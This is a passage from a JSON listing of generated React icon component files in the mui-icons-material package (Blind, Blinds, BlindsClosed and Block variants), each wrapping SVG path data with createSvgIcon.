    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.41\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.04 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01l-4.39 2.5c-.62.35-1.01 1.01-1.01 1.73V13c0 .55.45 1 1 1s1-.45 1-1v-2.54l1.5-.85c-.32 1.1-.5 2.24-.5 3.39v5.33l-2 2.67c-.33.44-.24 1.07.2 1.4s1.07.24 1.4-.2l2.04-2.72c.23-.31.37-.69.4-1.08l.18-2.94L10.91 18v4c0 .55.45 1 1 1s1-.45 1-1v-4.87c0-.41-.13-.81-.36-1.15l-1.6-2.29v-.01c-.11-1.16.07-2.32.46-3.4.75 1.14 1.88 1.98 3.2 2.41l5.7 9.87c.14.24.44.32.68.18s.32-.44.18-.68L15.92 13c.54 0 .98-.44.98-.98v-.05c0-.5-.37-.94-.87-.99-.95-.1-2.37-.52-3.21-2.18\"\n}, \"1\")], 'BlindRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.13 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01L4 9.3V14h2v-3.54l1.5-.85C7.18 10.71 7 11.85 7 13v5.33L4.4 21.8 6 23l3-4 .22-3.54L11 18v5h2v-6.5l-1.97-2.81c-.04-.52-.14-1.76.45-3.4.75 1.14 1.88 1.98 3.2 2.41L20.63 23l.87-.5-5.48-9.5H17v-2c-.49 0-2.88.17-4.08-2.21\"\n}, \"1\")], 'BlindSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.13 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01L4 9.3V14h2v-3.54l1.5-.85C7.18 10.71 7 11.85 7 13v5.33L4.4 21.8 6 23l3-4 .22-3.54L11 18v5h2v-6.5l-1.97-2.81c-.04-.52-.14-1.76.45-3.4.75 1.14 1.88 1.98 3.2 2.41L20.63 23l.87-.5-5.48-9.5H17v-2c-.49 0-2.88.17-4.08-2.21\"\n}, \"1\")], 'BlindSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"11.5\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.13 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01L4 9.3V14h2v-3.54l1.5-.85C7.18 10.71 7 11.85 7 13v5.33L4.4 21.8 6 23l3-4 .22-3.54L11 18v5h2v-6.5l-1.97-2.81c-.04-.52-.14-1.76.45-3.4.75 1.14 1.88 1.98 3.2 2.41L20.63 23l.87-.5-5.48-9.5H17v-2c-.49 0-2.88.17-4.08-2.21\"\n}, \"1\")], 'BlindTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"11.5\",\n  cy: \"3.5\",\n  r: \"2\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.13 7.12c-.17-.35-.44-.65-.8-.85-.61-.36-1.34-.34-1.93-.03v-.01L4 9.3V14h2v-3.54l1.5-.85C7.18 10.71 7 11.85 7 13v5.33L4.4 21.8 6 23l3-4 .22-3.54L11 18v5h2v-6.5l-1.97-2.81c-.04-.52-.14-1.76.45-3.4.75 1.14 1.88 1.98 3.2 2.41L20.63 23l.87-.5-5.48-9.5H17v-2c-.49 0-2.88.17-4.08-2.21\"\n}, \"1\")], 'BlindTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Blinds.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM16 9h2v2h-2zm-2 2H6V9h8zm4-4h-2V5h2zm-4-2v2H6V5zM6 19v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2v6z\"\n}), 'Blinds');"
  },
  {
    "path": "packages/mui-icons-material/lib/Blinds.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM16 9h2v2h-2zm-2 2H6V9h8zm4-4h-2V5h2zm-4-2v2H6V5zM6 19v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2v6z\"\n}), 'Blinds');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosed.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h11.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-2-8h-2V9h2zm-4 0H6V9h8zm0 2v2H6v-2zm2 0h2v2h-2zm2-6h-2V5h2zm-4-2v2H6V5zM6 19v-2h8v2zm10 0v-2h2v2z\"\n}), 'BlindsClosed');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosed.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h11.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-2-8h-2V9h2zm-4 0H6V9h8zm0 2v2H6v-2zm2 0h2v2h-2zm2-6h-2V5h2zm-4-2v2H6V5zM6 19v-2h8v2zm10 0v-2h2v2z\"\n}), 'BlindsClosed');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosedOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h11.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-2-8h-2V9h2zm-4 0H6V9h8zm0 2v2H6v-2zm2 0h2v2h-2zm2-6h-2V5h2zm-4-2v2H6V5zM6 19v-2h8v2zm10 0v-2h2v2z\"\n}), 'BlindsClosedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosedOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h11.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-2-8h-2V9h2zm-4 0H6V9h8zm0 2v2H6v-2zm2 0h2v2h-2zm2-6h-2V5h2zm-4-2v2H6V5zM6 19v-2h8v2zm10 0v-2h2v2z\"\n}), 'BlindsClosedOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosedRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h10.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H21c.55 0 1-.45 1-1s-.45-1-1-1zm-2-8h-2V9h2zm-4 0H6V9h8zm0 2v2H6v-2zm2 0h2v2h-2zm2-6h-2V5h2zm-4-2v2H6V5zM6 19v-2h8v2zm10 0v-2h2v2z\"\n}), 'BlindsClosedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosedRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h10.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H21c.55 0 1-.45 1-1s-.45-1-1-1zm-2-8h-2V9h2zm-4 0H6V9h8zm0 2v2H6v-2zm2 0h2v2h-2zm2-6h-2V5h2zm-4-2v2H6V5zM6 19v-2h8v2zm10 0v-2h2v2z\"\n}), 'BlindsClosedRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosedSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h11.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-2-8h-2V9h2zm-4 0H6V9h8zm0 2v2H6v-2zm2 0h2v2h-2zm2-6h-2V5h2zm-4-2v2H6V5zM6 19v-2h8v2zm10 0v-2h2v2z\"\n}), 'BlindsClosedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosedSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h11.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-2-8h-2V9h2zm-4 0H6V9h8zm0 2v2H6v-2zm2 0h2v2h-2zm2-6h-2V5h2zm-4-2v2H6V5zM6 19v-2h8v2zm10 0v-2h2v2z\"\n}), 'BlindsClosedSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosedTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 5h8v2H6zm0 4h8v2H6zm10 8h2v2h-2zM6 13h8v2H6zm0 4h8v2H6zm10-4h2v2h-2zm0-8h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h11.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-6 0H6v-2h8zm0-4H6v-2h8zm0-4H6V9h8zm0-4H6V5h8zm4 12h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2z\"\n}, \"1\")], 'BlindsClosedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsClosedTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 5h8v2H6zm0 4h8v2H6zm10 8h2v2h-2zM6 13h8v2H6zm0 4h8v2H6zm10-4h2v2h-2zm0-8h2v2h-2zm0 4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h11.25c0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75H22v-2zm-6 0H6v-2h8zm0-4H6v-2h8zm0-4H6V9h8zm0-4H6V5h8zm4 12h-2v-2h2zm0-4h-2v-2h2zm0-4h-2V9h2zm0-4h-2V5h2z\"\n}, \"1\")], 'BlindsClosedTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM16 9h2v2h-2zm-2 2H6V9h8zm4-4h-2V5h2zm-4-2v2H6V5zM6 19v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2v6z\"\n}), 'BlindsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM16 9h2v2h-2zm-2 2H6V9h8zm4-4h-2V5h2zm-4-2v2H6V5zM6 19v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2v6z\"\n}), 'BlindsOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM16 9h2v2h-2zm-2 2H6V9h8zm4-4h-2V5h2zm-4-2v2H6V5zM6 19v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2v6z\"\n}), 'BlindsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V5c0-1.1-.9-2-2-2H6c-1.1 0-2 .9-2 2v14H3c-.55 0-1 .45-1 1s.45 1 1 1h18c.55 0 1-.45 1-1s-.45-1-1-1zM16 9h2v2h-2zm-2 2H6V9h8zm4-4h-2V5h2zm-4-2v2H6V5zM6 19v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2v6z\"\n}), 'BlindsRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM16 9h2v2h-2zm-2 2H6V9h8zm4-4h-2V5h2zm-4-2v2H6V5zM6 19v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2v6z\"\n}), 'BlindsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM16 9h2v2h-2zm-2 2H6V9h8zm4-4h-2V5h2zm-4-2v2H6V5zM6 19v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2v6z\"\n}), 'BlindsSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M6 9h8v2H6zm0-4h8v2H6zm10 4h2v2h-2zm0-4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM6 5h8v2H6zm0 4h8v2H6zm12 10H6v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2zm0-8h-2V9h2zm0-4h-2V5h2z\"\n}, \"1\")], 'BlindsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlindsTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M6 9h8v2H6zm0-4h8v2H6zm10 4h2v2h-2zm0-4h2v2h-2z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 19V3H4v16H2v2h20v-2zM6 5h8v2H6zm0 4h8v2H6zm12 10H6v-6h8v1.82c-.45.32-.75.84-.75 1.43 0 .97.78 1.75 1.75 1.75s1.75-.78 1.75-1.75c0-.59-.3-1.12-.75-1.43V13h2zm0-8h-2V9h2zm0-4h-2V5h2z\"\n}, \"1\")], 'BlindsTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Block.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-4.42 3.58-8 8-8 1.85 0 3.55.63 4.9 1.69L5.69 16.9C4.63 15.55 4 13.85 4 12m8 8c-1.85 0-3.55-.63-4.9-1.69L18.31 7.1C19.37 8.45 20 10.15 20 12c0 4.42-3.58 8-8 8\"\n}), 'Block');"
  },
  {
    "path": "packages/mui-icons-material/lib/Block.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-4.42 3.58-8 8-8 1.85 0 3.55.63 4.9 1.69L5.69 16.9C4.63 15.55 4 13.85 4 12m8 8c-1.85 0-3.55-.63-4.9-1.69L18.31 7.1C19.37 8.45 20 10.15 20 12c0 4.42-3.58 8-8 8\"\n}), 'Block');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlockFlipped.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 12c0-5.5-4.5-10-10-10S2 6.5 2 12s4.5 10 10 10 10-4.5 10-10M5.7 7.1l11.2 11.2c-1.3 1.1-3 1.7-4.9 1.7-4.4 0-8-3.6-8-8 0-1.9.6-3.6 1.7-4.9M20 12c0 1.9-.6 3.6-1.7 4.9L7.1 5.7C8.4 4.6 10.1 4 12 4c4.4 0 8 3.6 8 8\"\n}), 'BlockFlipped');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlockFlipped.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 12c0-5.5-4.5-10-10-10S2 6.5 2 12s4.5 10 10 10 10-4.5 10-10M5.7 7.1l11.2 11.2c-1.3 1.1-3 1.7-4.9 1.7-4.4 0-8-3.6-8-8 0-1.9.6-3.6 1.7-4.9M20 12c0 1.9-.6 3.6-1.7 4.9L7.1 5.7C8.4 4.6 10.1 4 12 4c4.4 0 8 3.6 8 8\"\n}), 'BlockFlipped');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlockOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-4.42 3.58-8 8-8 1.85 0 3.55.63 4.9 1.69L5.69 16.9C4.63 15.55 4 13.85 4 12m8 8c-1.85 0-3.55-.63-4.9-1.69L18.31 7.1C19.37 8.45 20 10.15 20 12c0 4.42-3.58 8-8 8\"\n}), 'BlockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlockOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-4.42 3.58-8 8-8 1.85 0 3.55.63 4.9 1.69L5.69 16.9C4.63 15.55 4 13.85 4 12m8 8c-1.85 0-3.55-.63-4.9-1.69L18.31 7.1C19.37 8.45 20 10.15 20 12c0 4.42-3.58 8-8 8\"\n}), 'BlockOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlockRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-4.42 3.58-8 8-8 1.85 0 3.55.63 4.9 1.69L5.69 16.9C4.63 15.55 4 13.85 4 12m8 8c-1.85 0-3.55-.63-4.9-1.69L18.31 7.1C19.37 8.45 20 10.15 20 12c0 4.42-3.58 8-8 8\"\n}), 'BlockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlockRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2M4 12c0-4.42 3.58-8 8-8 1.85 0 3.55.63 4.9 1.69L5.69 16.9C4.63 15.55 4 13.85 4 12m8 8c-1.85 0-3.55-.63-4.9-1.69L18.31 7.1C19.37 8.45 20 10.15 20 12c0 4.42-3.58 8-8 8\"\n}), 'BlockRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/BlockSharp.js",
